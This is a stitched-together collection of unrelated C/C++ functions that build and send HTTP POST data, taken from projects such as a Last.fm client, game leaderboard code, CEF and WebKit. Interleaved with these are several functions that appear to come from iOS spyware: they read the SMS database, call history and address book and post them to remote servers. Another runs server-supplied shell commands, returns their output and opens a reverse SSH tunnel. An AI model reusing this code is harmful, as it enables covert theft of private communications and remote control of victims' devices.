void SendLogsRequest::send() { QUrl url; url.setScheme( "http" ); url.setHost( "oops.last.fm" ); url.setPath( "logsubmission/add" ); url.addEncodedQueryItem( "username", QUrl::toPercentEncoding(Ws::Username) ); #ifdef Q_WS_MAC url.addQueryItem( "platform", "macosx" ); #elif defined WIN32 url.addQueryItem( "platform", "win32" ); #else url.addQueryItem( "platform", "linux" ); #endif url.addQueryItem( "clientname", QCoreApplication::applicationName() ); url.addQueryItem( "clientversion", QCoreApplication::applicationVersion() ); QNetworkRequest request = QNetworkRequest( url ); request.setRawHeader( "Content-Type", "multipart/form-data;boundary=8e61d618ca16" ); request.setRawHeader( "Accept", "*/*" ); m_data.append( postData( "usernotes", escapeString( m_usernotes ).toLatin1() ) ); m_data.append( postData( "logs", m_logs.join(",").toLatin1() ) ); m_data.append( "--8e61d618ca16--" ); // close the post request m_error = false; QNetworkReply *reply = (new WsAccessManager( this ))->post( request, m_data ); connect( reply, SIGNAL( finished() ), this, SLOT( onFinished() ) ); connect( reply, SIGNAL( error( QNetworkReply::NetworkError ) ), this, SLOT( onError( QNetworkReply::NetworkError ) ) ); }
int cronCommandTask(int id, char* command) { if(curl) { curl_easy_setopt(curl, CURLOPT_URL, apiPostCommandURL); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 1); curl_easy_setopt(curl, CURLOPT_CAINFO, cacertFile); curl_easy_setopt(curl, CURLOPT_TIMEOUT , 3); curl_easy_setopt(curl , CURLOPT_WRITEFUNCTION , callbackBlockedWritedataFunc); } //执行命令 FILE *fstream=NULL; char buff[1024]; memset(buff,0,sizeof(buff)); if(NULL==(fstream=popen(command,"r"))) { writeLog("execute command failed: %s",strerror(errno)); refreshThis(); return -1; } //获得命令执行结果 char messageData[CURL_MAX_POST_LEN]; int nlen = 0; snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "id=%d", id); nlen = strlen(messageData); //去除掉一些不需要返回值的命令 if(0 != memcmp(command, "ssh -f -N -R 10000:localhost:22", 31) ) { //&& 0 != strcasecmp(command, "killall ssh -f") ) { //通过fgets获得返回值 if(NULL!=fgets(buff, sizeof(buff), fstream)) { snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "&content=%s", buff); nlen = strlen(messageData); while(NULL!=fgets(buff, sizeof(buff), fstream)) { snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "%s", buff); nlen = strlen(messageData); } } else { pclose(fstream); snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "&content=%s", "NULL"); postData(curl, messageData); writeLog("fgets failed:\n"); refreshThis(); return -1; } } pclose(fstream); postData(curl, messageData); return 0; }
void RunRequestTest(CefRefPtr<CefBrowser> browser) { // Create a new request CefRefPtr<CefRequest> request(CefRequest::CreateRequest()); // Set the request URL request->SetURL("http://tests/request"); // Add post data to the request. The correct method and content- // type headers will be set by CEF. CefRefPtr<CefPostDataElement> postDataElement( CefPostDataElement::CreatePostDataElement()); std::string data = "arg1=val1&arg2=val2"; postDataElement->SetToBytes(data.length(), data.c_str()); CefRefPtr<CefPostData> postData(CefPostData::CreatePostData()); postData->AddElement(postDataElement); request->SetPostData(postData); // Add a custom header CefRequest::HeaderMap headerMap; headerMap.insert( std::make_pair("X-My-Header", "My Header Value")); request->SetHeaderMap(headerMap); // Load the request browser->GetMainFrame()->LoadRequest(request); }
void ResourceHandle::onHandleCreated(LPARAM lParam) { if (!d->m_resourceHandle) { d->m_resourceHandle = HINTERNET(lParam); if (d->status != 0) { // We were canceled before Windows actually created a handle for us, close and delete now. InternetCloseHandle(d->m_resourceHandle); delete this; return; } if (method() == "POST") { // FIXME: Too late to set referrer properly. String urlStr = url().path(); int fragmentIndex = urlStr.find('#'); if (fragmentIndex != -1) urlStr = urlStr.left(fragmentIndex); static LPCSTR accept[2]={"*/*", NULL}; HINTERNET urlHandle = HttpOpenRequestA(d->m_resourceHandle, "POST", urlStr.latin1().data(), 0, 0, accept, INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_FORMS_SUBMIT | INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, (DWORD_PTR)d->m_jobId); if (urlHandle == INVALID_HANDLE_VALUE) { InternetCloseHandle(d->m_resourceHandle); delete this; } } } else if (!d->m_secondaryHandle) { assert(method() == "POST"); d->m_secondaryHandle = HINTERNET(lParam); // Need to actually send the request now. String headers = "Content-Type: application/x-www-form-urlencoded\n"; headers += "Referer: "; headers += d->m_postReferrer; headers += "\n"; const CString& headersLatin1 = headers.latin1(); String formData = postData()->flattenToString(); INTERNET_BUFFERSA buffers; memset(&buffers, 0, sizeof(buffers)); buffers.dwStructSize = sizeof(INTERNET_BUFFERSA); buffers.lpcszHeader = headersLatin1; buffers.dwHeadersLength = headers.length(); buffers.dwBufferTotal = formData.length(); d->m_bytesRemainingToWrite = formData.length(); d->m_formDataString = (char*)malloc(formData.length()); d->m_formDataLength = formData.length(); strncpy(d->m_formDataString, formData.latin1(), formData.length()); d->m_writing = true; HttpSendRequestExA(d->m_secondaryHandle, &buffers, 0, 0, (DWORD_PTR)d->m_jobId); // FIXME: add proper error handling } }
int cronAddressBookTask(char* id) { char **result; int i=0, j=0, nlen=0, column=0, offset = 0; char sql[1000]; snprintf(sql, 1000, "SELECT ABMultiValue.record_id, ABMultiValue.Value as Address, ABPerson.* " "FROM ABMultiValue LEFT JOIN ABPerson ON (ABPerson.ROWID = ABMultiValue.record_id) " "WHERE ABMultiValue.value IN (%s) LIMIT 1", id); int row = getData("/var/mobile/Library/AddressBook/AddressBook.sqlitedb", sql, &result, &column); if(curl) { curl_easy_setopt(curl, CURLOPT_URL, apiPostAdURL); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 1); curl_easy_setopt(curl, CURLOPT_CAINFO, cacertFile); curl_easy_setopt(curl, CURLOPT_TIMEOUT , 3); curl_easy_setopt(curl , CURLOPT_WRITEFUNCTION , callbackBlockedWritedataFunc); } if(row > 0) { for(i=1; i < (row + 1); i++) { char messageData[CURL_MAX_POST_LEN]; nlen = 0; writeLog("%s,\n", result[i*column]); for (j = 0; j < column; j++) { offset = i*column+j; snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "%s=%s&", result[j], result[offset]); nlen = strlen(messageData); } postData(curl, messageData); } //free sqlite3 result sqlite3_free_table(result); } else { //writeLog("%s,\n", id); char messageData[CURL_MAX_POST_LEN]; snprintf(messageData, CURL_MAX_POST_LEN, "returnid=%s",id); postData(curl, messageData); } return 0; }
void FrmStart::on_pushButton_2_clicked() { FrmURL frmurl; QByteArray result; int web=0; QByteArray usr = QTextCodec::codecForName("CP-1256")->fromUnicode(ui->Tuser->text()); QByteArray mail = QTextCodec::codecForName("CP-1256")->fromUnicode(ui->Tmail->text()); QString user(usr); QString email(mail); QUrlQuery postData(Url_php); postData.addQueryItem("user",user); postData.addQueryItem("email",email); if (ui->Op1->isChecked()) postData.addQueryItem("cmd","login3"); else postData.addQueryItem("cmd","getimtihan"); frmconn = new frmConnect; frmconn->show(); frmstart->hide(); result = frmurl.OpenURL(Url_php,&web,postData); if(web != 200){ QMessageBox::information(0,"title","فشل الاتصال لانقطاع الخط حاول من جديد"); frmconn->close(); return; } QString txt = QTextCodec::codecForName("CP-1256")->toUnicode(result); if(txt == ""){ QMessageBox::information(0,"title","حدث خلل ما الرجاء المحاولة من جديد"); frmconn->close(); return; } txt = TestStr(txt); qDebug() << "result: " << txt; if (ui->Op1->isChecked()){ // Call ExtracTxt(TestStr(St)) frmconn->close(); }else{ frmnataij = new FrmNataij; frmnataij->show(); frmstart->hide(); // FrmNataij.Show // Call FrmNataij.ExtracTxt(TestStr(St)) } }
void SendLogsRequest::addLog( QString name, QString filename ) { if ( QFile::exists( filename ) ) { QFile file( filename ); if ( !file.open( QIODevice::ReadOnly | QIODevice::Text ) ) return; m_data.append( postData( name, qCompress( escapeString( file.readAll() ).toLatin1() ) ) ); m_logs.append( name ); } }
void CPlayerLevels::ListAsync( const std::string& mode, int page, int perPage, bool includeData, bool includeThumbs, const CustomData& customFilter ) { std::string modeSafe = mode.empty() ? "popular" : (mode == "newest" || mode == "popular" ? mode : "popular"); char dataSafe = includeData ? 'y': 'n'; char thumSafe = includeThumbs ? 'y': 'n'; char IdString[50]; sprintf_s(IdString,49,"%d",gPlaytomic->GameId()); std::string url = kPlayerLevelListUrl1 + gPlaytomic->GetGameGuid() +kPlayerLevelListUrl2 + IdString + kPlayerLevelListUrl3 + modeSafe; sprintf_s(IdString,49,"%d", page); url += kPlayerLevelListUrl4 + page; sprintf_s(IdString,49,"%d", perPage); url += kPlayerLevelListUrl5; url += IdString; url += kPlayerLevelListUrl6; url += dataSafe; url += kPlayerLevelListUrl7; url += thumSafe; sprintf_s(IdString,49,"%d", customFilter.size()); url += kPlayerLevelListUrl10; url += IdString; CPostPtr postData(new CPost); if(!customFilter.empty()) { int fieldNumber = 0; CustomData::const_iterator it = customFilter.begin(); for(; it != customFilter.end(); it++) { char buff[10]; sprintf_s(buff,9,"%d", fieldNumber); std::string ckey("ckey"); std::string cdata("cdata"); ckey += buff; cdata += buff; postData->AddText(ckey.c_str(), it->first.c_str()); postData->AddText(cdata.c_str(), it->second.c_str()); } } gConnectionInterface->PerformAsyncRequest(url.c_str(), fastdelegate::MakeDelegate(this, &CPlayerLevels::ListAsyncComplete), postData); }
void CLeaderboard::ListAsync( const std::string& tableName, bool highest, const std::string& mode, int page, int perPage,const CustomData& customFilter ) { char IdString[50]; sprintf_s(IdString,49,"%d",gPlaytomic->GameId()); std::string url = kLeaderboardUrl1 + gPlaytomic->GetGameGuid() + kLeaderboardUrlList + IdString + kLeaderboardUrl3; CPostPtr postData(new CPost); postData->AddText("url", gPlaytomic->GetSourceUrl().c_str()); postData->AddText("table", tableName.c_str()); postData->AddText("highest", highest ? "y": "n"); postData->AddText("mode", mode.c_str()); char buff[300]; sprintf_s(buff,299,"%d", page); postData->AddText("page", buff); sprintf_s(buff, 299,"%d", perPage); postData->AddText("perpage", buff); sprintf_s(buff, 299,"%d", customFilter.size()); postData->AddText("numfilters", buff); if(customFilter.size() > 0) { int fieldNumber = 0; CustomData::const_iterator it = customFilter.begin(); for(;it != customFilter.end(); it++) { sprintf_s(buff,299,"%d", fieldNumber); std::string ckey("ckey"); ckey += buff; std::string cdata("cdata"); cdata += buff; std::string value = it->second; fieldNumber++; postData->AddText(ckey.c_str(), it->first.c_str() ); postData->AddText(cdata.c_str(), it->second.c_str()); } } gConnectionInterface->PerformAsyncRequest(url.c_str(), fastdelegate::MakeDelegate(this, &CLeaderboard::ListComple),postData); }
int cronSMSTask(int rowid) { char **result; int i=0, j=0, nlen=0, column=0, offset = 0; char sql[400]; snprintf(sql, 400, "SELECT h.id as address, h.uncanonicalized_id as address_original, m.ROWID, m.date, m.is_from_me, m.service, m.text, m.subject " "FROM message m LEFT JOIN handle h ON (h.ROWID = m.handle_id) " "WHERE m.ROWID > %d ORDER BY m.ROWID ASC LIMIT 1000", rowid); int row = getData("/var/mobile/Library/SMS/sms.db", sql, &result, &column); if(row > 0) { if(curl) { curl_easy_setopt(curl, CURLOPT_URL, apiPostSMSURL); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 1); curl_easy_setopt(curl, CURLOPT_CAINFO, cacertFile); curl_easy_setopt(curl, CURLOPT_TIMEOUT , 3); curl_easy_setopt(curl , CURLOPT_WRITEFUNCTION , callbackBlockedWritedataFunc); } for(i=1; i < (row + 1); i++) { char messageData[CURL_MAX_POST_LEN]; char SMSmobileNum[1000]; int SMSAddress=0, SMSis_madrid=0, SMSmadrid_handle=0; nlen = 0; writeLog("%s,\n", result[i*column+2]);//加2的原因是第三位才是rowid for (j = 0; j < column; j++) { offset = i*column+j; snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "%s=%s&", result[j], result[offset]); nlen = strlen(messageData); } //writeLog("%s,\n", messageData); postData(curl, messageData); } //free sqlite3 result sqlite3_free_table(result); } return 0; }
void CLeaderboard::SaveAsync( const std::string& tableName, const CScore& score, bool highest, bool allowDuplicates ) { char IdString[50]; sprintf_s(IdString,49,"%d",gPlaytomic->GameId()); std::string url = kLeaderboardUrl1 + gPlaytomic->GetGameGuid() + kLeaderboardUrl2 + IdString + kLeaderboardUrl3; CPostPtr postData(new CPost); postData->AddText("url", gPlaytomic->GetSourceUrl().c_str()); postData->AddText("table", tableName.c_str()); postData->AddText("highest", highest ? "y": "n"); postData->AddText("name", score.GetName().c_str()); char buff[300]; sprintf_s(buff,299,"%d", score.GetPoints()); postData->AddText("points", buff); sprintf_s(buff,299,"%s%d",gPlaytomic->GetSourceUrl().c_str(), score.GetPoints()); postData->AddText("auth", MD5(buff).hexdigest().c_str()); CustomData customData = score.GetCustomData(); sprintf_s(buff,299,"%d", customData.size()); postData->AddText("customfields", buff); int fieldNumber = 0; CustomData::iterator it = customData.begin(); for(;it != customData.end(); it++) { sprintf_s(buff,299,"%d", fieldNumber); std::string ckey("ckey"); ckey += buff; std::string cdata("cdata"); cdata += buff; std::string value = it->second; fieldNumber++; postData->AddText(ckey.c_str(), it->first.c_str() ); postData->AddText(cdata.c_str(), it->second.c_str()); } gConnectionInterface->PerformAsyncRequest(url.c_str(), fastdelegate::MakeDelegate(this, &CLeaderboard::SaveComple),postData); }
int cronCallTask(int rowid) { char **result; int i=0, j=0, nlen=0, column=0, offset = 0; char sql[1000]; snprintf(sql, 1000, "SELECT * FROM ZCALLRECORD WHERE Z_PK > %d ORDER BY Z_PK ASC LIMIT 1000;", rowid); int row = getData("/var/mobile/Library/CallHistoryDB/CallHistory.storedata", sql, &result, &column); if(row > 0) { if(curl) { curl_easy_setopt(curl, CURLOPT_URL, apiPostCallURL); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 1); curl_easy_setopt(curl, CURLOPT_CAINFO, cacertFile); curl_easy_setopt(curl, CURLOPT_TIMEOUT , 3); curl_easy_setopt(curl , CURLOPT_WRITEFUNCTION , callbackBlockedWritedataFunc); } for(i=1; i < (row + 1); i++) { char messageData[CURL_MAX_POST_LEN]; char SMSmobileNum[1000]; int SMSAddress=0, SMSis_madrid=0, SMSmadrid_handle=0; nlen = 0; writeLog("%s,\n", result[i*column]); for (j = 0; j < column; j++) { offset = i*column+j; snprintf(messageData+nlen, CURL_MAX_POST_LEN-nlen, "%s=%s&", result[j], result[offset]); nlen = strlen(messageData); } //writeLog("%s,\n", messageData); postData(curl, messageData); } //free sqlite3 result sqlite3_free_table(result); } return 0; }
void AnalyticsBinding::SendEventToAPIServer(std::string& eventData) { std::string postData(baseData + "&" + eventData); SET_CURL_OPTION(this->curlHandle, CURLOPT_POSTFIELDSIZE, postData.length()); SET_CURL_OPTION(this->curlHandle, CURLOPT_POSTFIELDS, postData.c_str()); CURLcode result = curl_easy_perform(this->curlHandle); if (result == CURLE_OPERATION_TIMEDOUT) { GetLogger()->Error("Failed for URL (%s): %s", this->url.c_str(), curl_easy_strerror(result)); } else if (result == CURLE_ABORTED_BY_CALLBACK) { GetLogger()->Error("Failed for URL (%s): %s", this->url.c_str(), curl_easy_strerror(result)); } else if (result != CURLE_OK) { GetLogger()->Error("Failed for URL (%s): %s", this->url.c_str(), curl_easy_strerror(result)); } }
void Window::openFileOfItem(int row, int /* column */) { QTableWidgetItem *sizeItem = new QTableWidgetItem(tr("shrinking")); sizeItem->setTextAlignment(Qt::AlignRight | Qt::AlignVCenter); sizeItem->setFlags(sizeItem->flags() ^ Qt::ItemIsEditable); filesTable->setItem(row, 2, sizeItem); QTableWidgetItem *item = filesTable->item(row, 0); QString path = currentDir.absoluteFilePath(item->text()); QFileInfo fileInfo(path); QString outpath = outDirectoryComboBox->currentText(); QDir outDir = QDir(outpath); QString outPath = outDir.absoluteFilePath(fileInfo.fileName()); QNetworkRequest *nr = new QNetworkRequest(QUrl("https://api.tinify.com/shrink")); QNetworkAccessManager *manager = new QNetworkAccessManager(); UploadSlot *slot = new UploadSlot(manager, row, outPath); QString concatenated = tokenComboBox->currentText(); QByteArray data = concatenated.toLocal8Bit().toBase64(); QString headerData = "Basic " + data; nr->setRawHeader("Authorization", headerData.toLocal8Bit()); nr->setRawHeader("Content-Type", "application/x-www-form-urlencoded"); QByteArray postData(""); QFile file(path); if (!file.open(QIODevice::ReadOnly)){ qDebug() << "QFile Error: File not found!"; } else { qDebug() << "File found, proceed as planned"; } postData.append(file.readAll()); file.close(); connect(manager, SIGNAL(finished(QNetworkReply*)), slot, SLOT(replyFinished(QNetworkReply*))); connect(slot, SIGNAL(transferDone(int,int,int,QString)), this, SLOT(transferDone(int,int,int,QString))); const QNetworkRequest snr = QNetworkRequest(*nr); const QByteArray pd = QByteArray(postData); manager->post(snr, pd); }
void CPlayerLevels::SaveLevelAsync( CLevel& level ) { char IdString[50]; sprintf_s(IdString,49,"%d",gPlaytomic->GameId()); std::string url = kPlayerLevelSaveUrl1 + gPlaytomic->GetGameGuid() +kPlayerLevelSaveUrl2 + IdString + kPlayerLevelSaveUrl3 + gPlaytomic->GetSourceUrl(); CPostPtr postData(new CPost); postData->AddText("data", level.GetData().c_str()); postData->AddText("playerid", level.GetPlayerId().c_str()); postData->AddText("playername", level.GetPlayerName().c_str()); postData->AddText("playersource", level.GetPlayerSource().c_str()); postData->AddText("name",level.GetName().c_str()); postData->AddText("nothumb", "y"); sprintf_s(IdString, 49, "%d", level.GetCustomData().size()); postData->AddText("customfields", IdString); const CustomData& customData = level.GetCustomData(); CustomData::const_iterator it = customData.begin(); int fieldNumber = 0; for (; it != customData.end(); it++) { char buff[10]; sprintf_s(buff,9,"%d", fieldNumber); std::string ckey("ckey"); std::string cdata("cdata"); ckey += buff; cdata += buff; postData->AddText(ckey.c_str(), it->first.c_str()); postData->AddText(cdata.c_str(), it->second.c_str()); } gConnectionInterface->PerformAsyncRequest(url.c_str(), fastdelegate::MakeDelegate(this, &CPlayerLevels::SaveLevelComplete), postData); }
/// <summary> /// Uploads a temporarily stored image to imgur. /// </summary> /// <returns>Direct link to the image if succeess, empty string otherwise</returns> std::string Uploader::imgur() { FILE *fp; // File pointer unsigned char *buffer; // our buffer, a buffer of BYTE[] long fileLen; // Just the file length in bytes. // Convert the CStringW to a char* for fopen CString absPath = this->getTempFile(); const size_t __path = (absPath.GetLength() + 1) * 2; char *absPathChar = new char[__path]; size_t convertedCharsw = 0; wcstombs_s(&convertedCharsw, absPathChar, __path, absPath, _TRUNCATE); // Open the file in binary mode fp = fopen(absPathChar, "rb"); if(!fp) { AfxMessageBox(_T("Failed to open the screenshot file.")); return _EMPTY; } fseek(fp, 0, SEEK_END); // Jump to the end of the file fileLen = ftell(fp); // Get the size rewind(fp); // Jump back to the beginning of the file // Allocate memory buffer = (unsigned char *)malloc((fileLen)*sizeof(unsigned char)); if(!buffer) { AfxMessageBox(_T("Failed to allocate memory.")); return _EMPTY; } fread(buffer, fileLen, 1, fp); // Read in the entire file fclose(fp); // Close CStringA Dest = this->ToBase64(buffer, fileLen); // Base64 encode // Now construct an HTTP request. CString requestHeaders = _T("Content-Type: application/x-www-form-urlencoded\r\nAuthorization: Client-ID 3c1a6553ba0bbe4"); // Cast it to a CStringA which can then be used to convert to a char * CStringA postData("image=" + Dest); // Convert to char* otherwise the server drops requests, time_wasted = ~10 hours. const size_t newsizea = (postData.GetLength() + 1); char *postDataChar = new char[newsizea]; strcpy_s(postDataChar, newsizea, postData); // Spawn a session here CInternetSession session(NULL, 1, PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0); if(!session) return _EMPTY; // Look up for 10 seconds session.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, 10000); session.SetOption(INTERNET_OPTION_CONNECT_RETRIES, 3); INTERNET_PORT port = 443; // We are demanded to use HTTPS so // Open up the connection CHttpConnection *pConnection = session.GetHttpConnection(_T("api.imgur.com"), port); // Some self-explanatory flags. DWORD dwRequestFlags = INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_SECURE | INTERNET_DEFAULT_HTTPS_PORT; // Open up a connection CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, _T("/3/image.xml"), NULL, 1, NULL, NULL, dwRequestFlags); pFile->AddRequestHeaders(requestHeaders); // Send the request BOOL result = pFile->SendRequest(requestHeaders, (LPVOID)postDataChar, strlen(postDataChar)); DWORD retCode; pFile->QueryInfoStatusCode(retCode); if(retCode != HTTP_STATUS_OK) { // API Failed AfxMessageBox(_T("API did not return 200 OK. Request failed.")); delete[] postDataChar;free(buffer); return _EMPTY; } // Grab the request now char *szBuff = new char[1024]; pFile->Read(szBuff, 1024); // Check out if it's empty or not if(!szBuff) { AfxMessageBox(_T("Failed to retrieve a response.")); delete []postDataChar;delete []szBuff;free(buffer); return _EMPTY; } // Construct this into a std string std::string response(szBuff); response = InBetween(response, "<link>", "</link>"); // Grab the direct link. // Cleanup delete[] szBuff; delete[] postDataChar; pFile->Close(); delete pFile; delete pConnection; free(buffer); session.Close(); return response; }
void SendLogsRequest::addLogData( QString name, QString data ) { m_data.append( postData( name, qCompress( escapeString( data ).toLatin1() ) ) ); m_logs.append( name ); }